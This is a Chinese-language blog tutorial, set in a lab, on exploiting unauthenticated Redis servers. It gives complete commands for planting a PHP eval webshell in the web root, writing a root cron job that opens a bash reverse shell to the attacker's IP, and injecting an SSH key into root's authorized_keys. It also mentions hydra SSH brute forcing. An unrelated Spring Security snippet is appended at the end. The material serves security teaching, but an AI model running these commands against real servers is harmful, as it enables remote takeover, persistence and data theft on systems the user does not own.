未授权访问漏洞-Redis未授权访问漏洞

未授权概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

常见未授权访问漏洞

Redis 未授权访问漏洞
Docker 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞

Redis未授权访问

Redis简介

https: www.redis.com.cn/redis-intro.html

Redis 是完全开源免费的,一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。

应用场景

Redis 主要有两个应用场景:
1. 存储 缓存 用的数据;
2. 需要高速读/写的场合使用它快速读/写;

Redis 架构

Redis 主要由有两个程序组成:
Redis 客户端 redis-cli
Redis 服务器 redis-server
客户端、服务器可以位于同一台计算机或两台不同的计算机中。

漏洞发现

端口

Redis 服务默认监听在6379端口上

MongoDB:27017
Memcached:11211
Jboss:8080
VNC:5900、5901
Docker:2375

端口探测

nmap端口扫描

nmap -v -Pn -p 6379 -sV IP

v:显示过程

Pn:no ping

sV:版本探测

Redis常用命令

redis连接远程服务器:
redis-cli -h host -p port -a password

set testkey "Hello World"
# 设置键testkey的值为字符串

get testkey
# 获取键testkey的内容

set score 99
# 设置键score的值为99

incr score
# 使用INCR命令将score的值增加1

get score
# 获取键score的内容

keys *
# 列出当前数据库中所有的键

config set dir /home/test
# 设置工作目录

config set dbfilename redis.rdb 
# 设置备份文件名

config get dir
# 检查工作目录是否设置成功

config get dbfilename
# 检查备份文件名是否设置成功

save
# 进行一次备份操作

flushall
# 删除所有数据

del key
# 删除键为key的数据

Redis历史漏洞

Redis未授权访问

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

  1. 导致敏感信息泄露
  2. 执行 flushall 可清空所有数据
  3. 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)
  4. 如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录

Redis主从复制RCE

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的

Redis未授权访问漏洞复现

漏洞利用方法

  1. 通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
  2. 通过redis数据备份功能写定时任务,通过定时任务反弹Shell
  3. 通过redis数据备份功能写SSH公钥,实现免密登录linux服务器

实验环境

目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200  
  
攻击机器:Kali、IP地址:10.1.1.100  

信息收集

通过 nmap 进行信息收集,寻找可能利用的点

发现开放22\80\6379

22端口:ssh远程登录  
  
80端口:http网站服务  
  
6379端口:redis服务  
  

发现开启80端口,试着访问一下

使用目录扫描工具 dirsearch 扫描发现敏感目录、页面,发现存在phpinfo信息泄露

python3 dirsearch.py -u 10.1.1.200 -e php

访问查看phpinfo信息

目标机器存在6379即Redis服务,尝试测试是否存在Redis未授权漏洞

首先下载Redis客户端连接工具(工具包里),解压后进入Redis目录,然后通过make进行编译,即可使用Redis-cli尝试连接Redis服务器:

编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行redis-cli

cd src/  
  
cp redis-cli /usr/bin  
  
cd ../../  
  
redis-cli -h 10.1.1.200 -p 6379  

-h:指定连接的redis服务器  
  
-p:指定redis服务器端口  
  
info:打印系统信息,如Redis的版本、目标系统版本、系统架构等    

如下图确实存在Redis未授权访问漏洞

进行Redis未授权访问漏洞利用。

Redis未授权写webshell

通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限

要把一句话写入网站根目录,有两个前提条件,第一:知道目标网站根目录绝对路径,第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html

通过执行如下命令写入一句话木马到网站根目录:

redis-cli -h 10.1.1.200 -p 6379     #连接redis服务器  
  
config set dir /var/www/html      #设置工作目录 
  
config set dbfilename shell.php    #设置备份文件的文件名  
  
set x "<?php @eval($_POST['test']);?>"   

#添加一个键”x”,值为一句话木马  
  
save     #保存  
  

注意:设置键值为一句话木马时,可以使用如下形式:

set x "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"

解释:”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

通过浏览器访问对应页面确认是否写入文件成功,显示如下,说明成功写入:

然后即可通过工具包里面提供的蚁剑连接一句话木马:

./AntSword #打开蚁剑

选择工作目录,选择放置源码的文件夹,然后手动启动 ./AntSword

Redis未授权写定时任务反弹shell

kali使用nc开启监听
nc-lvvp 4433
写定时任务
redis-cli -h 10.1.1.200 -p 6379 #连接目标redis服务

set z "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"

#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1

config set dir /var/spool/cron    #设置备份路径

config set dbfilename root    #设置备份文件名

save          #保存

等待一分钟后即可得到目标shell

Redis未授权写SSH公钥获得shell

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。

生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下:

ssh-keygen -t rsa

将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

将foo.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)

cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
1)连接Redis

redis-cli -h 10.1.1.200 -p 6379

2)设置备份文件路径

config set dir /root/.ssh/

3)设置上传公钥的备份文件名字为authorized_keys

config set dbfilename "authorized_keys"

save

远程连接目标机器

ssh root@10.1.1.200 -i /root/.ssh/id_rsa

爆破ssh

hydra工具

创建字典

使用hydra进行爆破。

用爆破出来的密码进行远程连接。

  • 4
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Spring Security是一个用于解决认证和授权的框架,它提供了一套强大的功能来处理用户身份验证授权。下面是Spring Security身份验证访问授权的一些常见步骤: 1.添加Spring Security依赖:在项目的pom.xml文件中添加Spring Security依赖。 2.配置Spring Security:创建一个类并扩展WebSecurityConfigurerAdapter类,然后覆盖configure()方法来配置Spring Security。在这个方法中,你可以定义哪些URL需要被保护,哪些URL不需要被保护,以及如何进行身份验证。 3.定义用户:你可以在内存中定义用户,也可以从数据库中获取用户信息。如果你选择在内存中定义用户,可以使用以下代码: ```java @Override protected void configure(AuthenticationManagerBuilder auth) throws Exception { auth.inMemoryAuthentication() .withUser("user").password("{noop}password").roles("USER") .and() .withUser("admin").password("{noop}password").roles("USER", "ADMIN"); } ``` 这段代码定义了两个用户,一个是普通用户,一个是管理员。密码使用了{noop}前缀,这是因为Spring Security 5默认要求密码进行加密,{noop}前缀表示不进行加密。 4.定义访问授权:你可以定义哪些用户可以访问哪些URL。例如,以下代码定义了只有管理员可以访问/admin路径: ```java @Override protected void configure(HttpSecurity http) throws Exception { http.authorizeRequests() .antMatchers("/admin/**").hasRole("ADMIN") .anyRequest().authenticated() .and() .formLogin() .and() .httpBasic(); } ``` 5.启用Spring Security:最后,你需要在Spring Boot应用程序中启用Spring Security。你可以通过在应用程序类上添加@EnableWebSecurity注释来完成这个任务。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试小白

如果您觉得满意,一分一毛也是爱

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值